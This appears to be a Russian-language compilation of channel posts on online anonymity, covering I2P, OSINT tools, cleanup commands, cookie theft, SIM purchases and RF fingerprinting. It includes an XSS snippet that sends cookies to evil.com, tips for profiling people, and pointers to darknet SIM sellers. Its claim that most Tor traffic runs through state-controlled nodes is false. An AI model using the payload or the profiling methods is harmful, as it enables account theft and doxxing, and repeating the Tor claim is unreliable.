Дополнительно: анти-шадоу режим

5 правил цифрового анонима:
1. Никогда не используй основной номер или email в 2+ сервисах
2. Не давай приложениям доступ к контактам и микрофону
3. Запрещай тэги на фото и упоминания
4. Используй маскировку: VPN, временные номера, FaceSwap на фото
5. Удали аккаунты, которыми не пользуешься (через JustDelete.me)

Что такое I2P?

I2P (Invisible Internet Project) — это анонимная сеть-оверлей (аналог Tor), но со своими туннелями, адресами и принципами работы:
• Полная анонимность: скрывает IP, защищает трафик от анализа.
• Туннельная маршрутизация (Garlic Routing): передача пакетов в “луковичной обёртке”, но по-другому, чем у Tor.
• Собственный интернет: внутри сети — .i2p сайты, мессенджеры, файлообменники, блоги.

Особенности I2P
• Нет центра. Нет точек отказа.
• Трафик идёт по двойным шифрованным тоннелям, которые самообновляются.
• Невозможно “перехватить IP”, потому что… IP нет.
• Работает поверх обычного интернета, но выглядит как тень под ним.

Windows / macOS / Linux
1. Зайди на официальный сайт:
https://geti2p.net
2. Скачай I2P (Java версия):
• i2pinstall_x.xx.jar — подходит для всех ОС, если установлен Java.
3. Установи Java (если не установлен):
• https://adoptium.net → выбери Temurin JDK 17 или 21.
4. Установи I2P:

 
java -jar i2pinstall_*.jar

Шаг 2: Запуск I2P через графический интерфейс

• После установки I2P запускается как фоновый сервис.
• Откроется веб-консоль в браузере:
http://127.0.0.1:7657

Запуск Через консоль (Linux/macOS)

 
cd ~/i2p
sh i2prouter start

Настройка браузера для доступа в I2P

Внутренние .i2p сайты доступны только через прокси (127.0.0.1:4444)

Firefox (рекомендуется):
1. Открой настройки → Прокси → “Ручная настройка”:
• HTTP: 127.0.0.1, порт: 4444
• HTTPS: 127.0.0.1, порт: 4444
• SOCKS: 127.0.0.1, порт: 4447
2. Добавь исключения:
localhost, 127.0.0.1

Что важно знать
• I2P не обеспечивает выход в обычный интернет (в отличие от Tor).
• Сеть медленнее обычной — идеальна для размещения скрытых сервисов.
• Все соединения шифруются от конца до конца.

OSINT — не просто “пробив”, а целая разведка. Давайте разложим, какие у неё есть направления.

В сети часто вижу, как люди путают понятия: кто-то называет OSINT просто “доксингом”, кто-то думает, что это набор программ типа Sherlock и SpiderFoot.
На деле всё гораздо глубже. OSINT — это целая дисциплина, как киберразведка, только из открытых источников. И в ней — десятки направлений.


Вот разбор, какие бывают категории OSINT:
Personal OSINT
Ищем:
– username’ы, ники
– почты, номера
– соцсети, связи, комменты
– фотографии, EXIF
– утечки (базы, логины, пароли)
– Telegram, VK, X, Discord, Reddit, TikTok, Steam — всё палит

Используем:
– внимательность к деталям: повтор аватарки, одинаковые фразы
– фингерпринт ников, активности по времени, привычки в лексике
– визуальное сравнение лиц через поиск

1. Holehe — проверяет, зарегистрирован ли email на популярных сайтах (GitHub, Twitter, Instagram и т.п.)
2. PimEyes — поиск по лицу в открытых источниках (сильнее Google Images, находит редкие совпадения)

Corporate OSINT (по компаниям)
Узнать, кто за бизнесом, какие у него связи, проблемы и активы.

Ищем:
– ИНН / ОГРН
– домены и их владельцы
– учредители, директора
– дочки, аффилированные компании
– репутация, судебки
– вакансии, тех.стек, инфраструктура

Вывод: ты можешь собрать всю структуру фирмы, даже если она скрыта за оффшорами.

1. OpenCorporates — крупнейшая база данных компаний по миру, показывает директоров, связи, юр.адреса
2. WHOIS + crt.sh — проверка доменов + сертификатов → можно найти скрытые субдомены и связи между фирмами


Geo OSINT (геолокация, следы по фото/видео):
Где сделано фото? Где сейчас человек? Где находится объект?

Смотрим:
– задний фон, здания, реклама
– тени, солнце, стиль машин, номера
– язык и региональные фишки
– EXIF, если не убрали
– частота постов, временные метки

Google Maps + здравый смысл — и ты на точке с точностью до метра.

1. Google Earth + SunCalc — анализ расположения теней, солнца и местности на фото
2. Yandex Картинки — продвинутый визуальный поиск, часто даёт лучшие результаты по архитектуре и гео, чем Google


Visual OSINT (по фоткам и видео)

Понимаем, что происходит на изображениях.

Ищем:
– логотипы, надписи
– детали в отражениях
– стиль одежды, тату, часы
– архитектура, вывески
– фильтры (какая соцсеть использовалась)

Иногда одна фотка — это как целый паспорт, если смотреть внимательно.

1. ExifTool — извлекает метаданные из изображений (камера, координаты, дата съёмки)
2. InVID Toolkit — плагин для анализа видео/кадров (поиск по ключевым фрагментам, раскадровка, реверс-поиск)


SOCMINT (Social Media Intelligence)

Работа с соцсетями. Всё, что ты постишь — можно разобрать.

Анализируем:
– подписки
– лайки
– комменты
– друзей
– частоту и поведение

Ты можешь узнать характер человека, его окружение и интересы просто по мемам, которые он репостит.

1. Social Links / Skopenow (платные, но мощные) — собирают данные из соцсетей и визуализируют связи
2. tgstat.ru — анализирует Telegram-аккаунты и группы (активность, ID, упоминания, цитирования)


Tech OSINT / Cyber OSINT

Всё, что касается устройств, IP, доменов, цифровых следов.

Ищем:
– IP-адреса
– домены и субдомены
– SSL-сертификаты
– открытые порты
– CMS и движки сайтов
– старые кэши и Wayback Machine

Иногда IP на скрине + время публикации = место, с которого заливали.

1. Shodan.io — поиск уязвимых устройств, IP, камер, банкоматов и всего, что сидит в сети
2. Censys.io — альтернатива Shodan, с более аналитическим уклоном и богатой базой SSL и IP

WINDOWS: как вычистить кэш, телеметрию и скрытые трекеры

Очистка кэша приложений вручную

 
C:\Users\ТВОЁ_ИМЯ\AppData\Local\
C:\Users\ТВОЁ_ИМЯ\AppData\Roaming\
 

В этих папках хранятся кэш, настройки, логи и шпионские штуки от почти всех программ: Discord, Telegram, Spotify, Zoom и т.д

Удаляй папки от тех приложений, которые хочешь почистить:
например:

 
del /s /q %APPDATA%\Telegram Desktop
del /s /q %LOCALAPPDATA%\Discord 
 

Очистка системы и браузеров

запусти PowerShell от администратора и введи:

 
Clear-RecycleBin -Force
Get-ChildItem "C:\Windows\Temp" | Remove-Item -Force -Recurse
Get-ChildItem "$env:LOCALAPPDATA\Temp" | Remove-Item -Force -Recurse 
 

Отключение трекеров Windows
Вот как вырубить основное:
• Win + R → gpedit.msc
→ Конфигурация компьютера → Административные шаблоны → Компоненты Windows → Сбор и отправка данных → Разрешить телеметрию → “Отключено”

ИЛИ

скачай бесплатную утилиту O&O ShutUp10++
→ в один клик отключает ВСЮ телеметрию, слежку, рекламу, подсказки.

Слежка на уровне сети

Установи GlassWire или SimpleWall

→ они покажут все исходящие соединения приложений
→ можно заблокировать телеметрию, трекеры, аналитику и рекламу на уровне сети

LINUX:

Очистка кэша приложений:

 
rm -rf ~/.cache/*
rm -rf ~/.local/share/Trash/* 
 

Чистка кэша Telegram, Discord, Zoom:

 
rm -rf ~/.config/TelegramDesktop
rm -rf ~/.config/discord
rm -rf ~/.zoom
 

Почистить логи:

 
 sudo journalctl --vacuum-time=2d
 

Проверить интернет-соединения

 
ss -tup 
 

ИЛИ

 
netstat -tulpn 
 

Если ты видишь, что Telegram, Zoom, Spotify лезут в кучу IP — это не нормально. Особенно, когда программа неактивна.


Отключить автозапуск мусора

 
sudo nano ~/.config/autostart/ 
 

Почисти .desktop файлы от всего, что не нужно.

Установи OpenSnitch

Это межсетевой экран, который показывает, какие приложения шлют данные в интернет, и позволяет блокировать их в реальном времени.

Тир 1 новичок

Системы и программы:
• Tor Browser — классика анонимного серфа, простая в использовании
• Tails OS — live-система с Tor, ничего не сохраняет, идеально для новичков
• ProtonVPN (бесплатный тариф) — простой VPN без логов, подойдет для базовой защиты
• Signal — защищённый мессенджер для приватного общения
• DuckDuckGo — поисковик, который частично собирает инфу

Тир 2 — Средний уровень

Системы и программы:
• Whonix — Linux в VM с роутингом всего трафика через Tor
• ProtonVPN Plus / Mullvad VPN — серьезные VPN с прозрачной политикой
• AnonSurf (Parrot OS) — автонастройка Tor и VPN для всего трафика
• Signal + Session Messenger — мессенджеры с повышенной анонимностью
• QuteBrowser или Brave — браузеры с приватным режимом и блокировкой трекеров

Тир 3 — Профессиональный уровень (это для тех, кто чернухой промышляет)

Системы и программы:
• Qubes OS + Whonix — изоляция задач + максимальная анонимность
• VPN Chain (мульти-VPN) + Tor + ProxyChains — сложные цепочки для сокрытия трафика
• PinePhone с GrapheneOS / CalyxOS — смартфоны с защитой от слежки
• Ricochet (децентрализованный мессенджер) — общение без серверов
• OpenVPN / WireGuard — настраиваемые VPN протоколы с высоким уровнем безопасности

Тир 4 спецслужбы,хакеры

• I2P, Freenet, ZeroNet — децентрализованные анонимные сети
• Спутниковый интернет (Starlink + VPN) — обход локальных провайдеров
• Air-gapped компьютеры — физически изолированные от интернета для максимальной безопасности
• Аппаратные VPN-роутеры с OpenWRT — шифрование на уровне сети
• Tails OS + Hardware Security Module (HSM) — для генерации и хранения ключей вне досягаемости

Сайты для полного пробива домена:

WHOIS-информация

Узнаёшь владельца, регистратор, дату создания, почту, страну.
• who.is
• whoxy.com
• viewdns.info/whois/

DNS и IP-аналитика

Видишь IP-адреса, MX-записи, TXT-записи, реальные хостинги, поддомены.
• dnsdumpster.com
• viewdns.info
• dig/nslookup (в терминале)

SSL-сертификаты

Часто содержат реальные имена и почты владельцев.
• crt.sh
• censys.io

Поддомен-сканеры

Показывают скрытые и тестовые адреса вроде admin., dev., beta.
• subdomainfinder.c99.nl
• pentesttools.net
• rapiddns.io

История IP и доменов

Узнаёшь старые IP, смену хостинга, соседей по серверу.
• viewdns.info/iphistory/

Связанные домены и анализ структуры

Находит другие сайты на том же IP, Analytics ID, сертификате и т.д.
• builtwith.com
• netlas.io
• zoomeye.org
• shodan.io

автоматизация

• theHarvester — консольный инструмент для массового OSINT по домену
• Amass — мощный поддомен/вьювер
• Maltego — визуальные связи
• Spiderfoot — полуавтоматический анализ

Что такое куки?

Куки — это маленькие текстовые файлы, которые сайты сохраняют в твоём браузере, чтобы запомнить тебя. Например, когда ты заходишь на сайт и вводишь логин, куки хранят твои сессионные данные, чтобы не просить логин при каждой странице.

Куки бывают разные:

• Сессионные — живут пока открыт браузер.
• Постоянные — сохраняются дольше, например, для автоматического входа.
• HttpOnly куки — не доступны через JavaScript, повышают безопасность.
• Secure куки — передаются только по HTTPS.

Зачем воруют куки?

Потому что куки часто содержат ключи сессий и авторизации, которые дают доступ к аккаунтам пользователя без повторного ввода пароля. Украсть сессионные куки значит украсть сессию, получить доступ к акку

Способы похищения куки

1.XSS
чел внедряет вредоносный JavaScript на сайт (через уязвимость), который считывает куки пользователя и отправляет их на сервер этого чела.
• Как защититься: использовать HttpOnly куки, фильтровать ввод, использовать CSP.
2. Сниффинг (перехват трафика)
Если сайт не использует HTTPS, куки передаются открытым текстом, и чел в локальной сети или в публичном Wi-Fi может перехватить куки.
• Как защититься: использовать HTTPS всегда, избегать публичных Wi-Fi без VPN.
4. Малварь и трояны
шпионы могут извлечь куки прямо с компьютера.
• Как защититься: антивирус, осторожность с файлами, обновления системы.
5. Подделка DNS
Перенаправляет трафик пользователя на фейк сайт, чтобы украсть куки.

Что делать, чтобы не дать украсть свои куки?

• Используй только HTTPS-сайты.
• В браузерах включи защиту от отслеживания.
• Не вводи данные на подозрительных ресурсах.
• Не переходи по странным ссылкам.
• Используй расширения для блокировки скриптов (uBlock Origin, NoScript).
• Регулярно обновляй браузер и ОС.
• Используй VPN для защиты сети.
• Включай двухфакторную аутентификацию.
• Отключай сохранение паролей и куки на публичных устройствах.

как выглядит пример XSS атаки на куки

 
var cookie = document.cookie;
fetch('https://evil.com/steal?cookie=' + encodeURIComponent(cookie));

Такой скрипт читает все доступные куки и отправляет на сервер.
Но если куки выставлены с флагом HttpOnly, этот скрипт не сможет их прочесть.

Кража куки — незаконно и карается законом.

Tor не анонимен:

70–90% трафика проходит через Tor узлы, которые контролируются госами или теми, кто продаёт логи.

Если ты заходишь в сеть в 19:47 и трафик пошёл на какой-то Onion-сайт в 19:47 - сопоставить IP и поведение можно, даже без вскрытия пакетов.

NSA, BND, Роскомнадзор — этим занимаются.

Fingerprinting браузера

– двигаешь окно;
– меняешь масштаб;
– меняешь юзер-агент;
– включаешь JS/JSX/CSS-фичи

если тебе нужна анонимность:

• чистая система
• цепочка VPN+Tor+Whonix/Tails;
• MAC spoof, no JS, no cookies, no WebRTC;

где покупают SIM и зачем это нужно

Продаются SIM-карты, оформленные на других людей (иногда на мигрантов), либо вовсе не оформленные. Можно купить пачкой за наличку без документа.

Риски:
• SIM может быть “грязной” - использовалась до этого
• Быстрая блокировка
• Иногда это подстава (на номер оформлено преступление)

В даркнете продаются “готовые номера”, но они часто палёные, быстро блокируются и могут быть скомпрометированы.

Darknet-маркеты
Versus Market, Incognito, WHM (некоторые больше не работают)
• Форумы вроде Dread

На подпольных рынках.

Что важно понимать:
Такие SIM часто оформлены на чужие данные.
Использование таких номеров может привести к блокировке, утечке данных, а иногда и к уголовной ответственности.

Этот пост — образовательный. Автор не призывает к использованию поддельных документов, нарушению законов или обходу операторов связи. Всегда оценивайте правовые риски и помните: ваша безопасность — это не только конфиденциальность, но и законность ваших действий.

Радиочастотный отпечаток устройства.

Что это такое?
Любое устройство с Wi-Fi, Bluetooth или GSM излучает сигнал, даже если:
• не подключено к сети,
• работает в режиме в самолёте,
• выключена геолокация,
• сменён MAC-адрес или стоит VPN.

Это излучение не просто стандартный радиосигнал - оно немного искажено, причём у каждого устройства по-своему.
Именно это искажение - и есть радиочастотный отпечаток.

Почему сигналы отличаются?
Хотя все устройства используют одни и те же протоколы (Wi-Fi, BLE), внутри у них:
• немного разные антенны,
• разные усилители,
• небольшие ошибки на уровне сборки,
• искажения при включении и выключении передатчика.

Это создаёт уникальную подпись, которую нельзя скопировать.
Она не зависит от софта, прошивки, VPN и даже операционной системы.

Насколько уникален отпечаток
По исследованиям DARPA и NIST:
• точность идентификации одного устройства среди 100 — более 99%;
• устойчивость к замене прошивки — полная;
• даже устройства одной модели (например, iPhone 12) — обнаруживаются как разные.

Где это используется?
• Госструктуры отслеживают конкретные устройства на расстоянии (даже не зная MAC или IP);
• Системы безопасности внутри зданий фиксируют «незарегистрированные» гаджеты по излучению;
• Криминалистика использует отпечаток сигнала, чтобы доказать, какое устройство находилось на месте события;
• В некоторых странах анонимные встречи отслеживаются именно так - по радиосигнатурам телефонов.

Насколько это серьезно
• Подмена MAC-адреса не влияет — отпечаток остаётся.
• SIM-карта не имеет значения — устройство излучает, даже если SIM нет.
• Обычный режим в самолёте не всегда отключает BLE или Wi-Fi фоновые пинги.
• Даже при выключении экрана устройства периодически передают служебные сигналы.

Даже в режиме ожидания фиксируются характерные искажения радиомодуля.
Они не зависят от прошивки, настроек или наличия подключения.
Их нельзя отключить программно.
Фиксация возможна пассивно, без участия пользователя и без соединения.
Сравнение с базой позволяет установить конкретное устройство.
Метод устойчив к Спуфу, VPN и смене SIM.

Почему за обычными пользователями через радиомодуль, никто не следит:

1. Сложность
Радиофингерпринтинг требует специализированного оборудования, программного анализа и заранее собранной базы отпечатков. Это не масштабируется массово.

2. Отсутствие мотивации
Следить через эфир целесообразно только при реальных причинах: террористической активности, утечках данных.

Мессенджеры без интернета:

1. Briar
сквозное шифрование
Связь: Bluetooth, Wi-Fi (без интернета), Tor при наличии сети

Работает без центрального сервера
Поддерживает чаты, блоги, форумы
Полностью децентрализован
Подходит для общения в зонах протестов, отключения
интернета.

1. Скачайте Briar из F-Droid или Google Play
2. При первом запуске создаётся локальный зашифрованный аккаунт
3. Добавление контактов через QR-код (встреча вживую или скан с другого устройства)
4. Общение через Bluetooth или Wi-Fi Direct (автоматически выбирает канал)

2. Bridgefy

Защита базовая (не сквозная), не для конфиденциальных данных
Bluetooth mesh-сеть (до 100 м), без интернета

Поддерживает ретрансляцию сообщений через другие
устройства
Не требует SIM-карты, аккаунта или интернета

1. Установите из App Store или Google Play
2. Разрешите доступ к Bluetooth
3. Найдите пользователей поблизости и начните чат
4. Сообщения передаются через соседние устройства как ретрансляторы

После 2020 года Bridgefy подвергался критике из-за криптографических слабостей. Не использовать для конфиденциальной информации

3. Jami

Сквозное шифрование, децентрализация
Может работать локально в одной Wi-Fi сети
Использует P2P протокол

Нет серверов, работает как mesh через LAN
Возможна передача аудио/видео/файлов
Один из немногих полноценных децентрализованных
мессенджеров с кроссплатформенностью

1. Скачать с jami
2. Создать аккаунт он остаётся на устройстве
3. Подключение к другим через ID или QR-код
4. В локальной сети можно подключаться напрямую, без интернета

Имитация цифровой активности

Многие системы и приложения поддерживают соединение с сервером даже при отсутствии действий со стороны пользователя. Это касается мессенджеров, социальных платформ, облачных сервисов, push уведомлений. Они обмениваются короткими фоновыми сигналами, чтобы сохранить сессию, обновить статус или проверить соединение.

Эта фоновая активность выглядит как обычный трафик. Но она формирует уникальный и повторяющийся шаблон, по которому можно определить устройство или аккаунт. Даже если содержимое сообщений зашифровано или скрыто, структура соединений остаётся доступной для анализа.

Что именно фиксируется:
• частота сетевых подключений;
• размер и форма трафика;
• очередность технических запросов;
• интервалы между сессиями.

Даже при включённом VPN или Tor, эти параметры не исчезают. Они изменяются, но сохраняют общую структуру. На основе этой структуры можно вычислить, связано ли несколько разных аккаунтов с одним и тем же пользователем, даже если никакие личные данные не указаны.

Что такое имитация присутствия

Некоторые используют скрипты или автоматические средства, чтобы создавать фальшивую активность.
Примеры:
• запуск клиента без реальной работы в нём;
• фальшивые соединения с сервером через расписание;
• подделка обычного пользовательского поведения: вход в Telegram, запуск Signal, автоматическая смена статуса.

Задача таких действий создать видимость присутствия, не находясь при этом в сети или не используя устройство напрямую.

Что можно попробовать с этим сделать

1. Фоновая активность приложений
• Отключить автозапуск мессенджеров (Telegram, Signal и др.)
• Блокировать фоновые процессы они продолжают пинговать даже без открытия.
• Использовать брандмауэр/фильтр, запрещающий нежеланный трафик (через фильтр DNS/iptables).

2. Синхронность аккаунтов
• Никогда не запускать два анонимных аккаунта на одном устройстве одновременно, особенно в пределах одного IP.
• Исключить параллельные подключения через одни и те же прокси, Tor, Wi-Fi это ключевой признак связи между профилями.

3. push/online
Telegram и подобные хранят статус онлайн.
Используй Telegram только через статичные боты (через API) или WebK CLI клиенты без GUI и фоновой активности.

Использование изолированных сред

Под каждый аккаунт отдельная виртуалка, ideally: QubesOS, Whonix, Tails, или KVM.
Под каждый профиль свой VPN/Tor, не пересекающийся с другими.

Отключение всей телеметрии
Windows/Android/macOS по умолчанию передают статус подключения, NTP, push трафик.
Использовать офлайн мессенджеры (SimpleX, Briar), где статус не фиксируется.
Или жёстко фильтровать все исходящие DNS/NTP запросы.

Вот и всё, рассказал про тему активности и анонимности. Если интересно, дайте знать лайком или комментом, это помогает понимать, что делать дальше. Есть идеи для новых тем пишите в лс канала или в комментарии.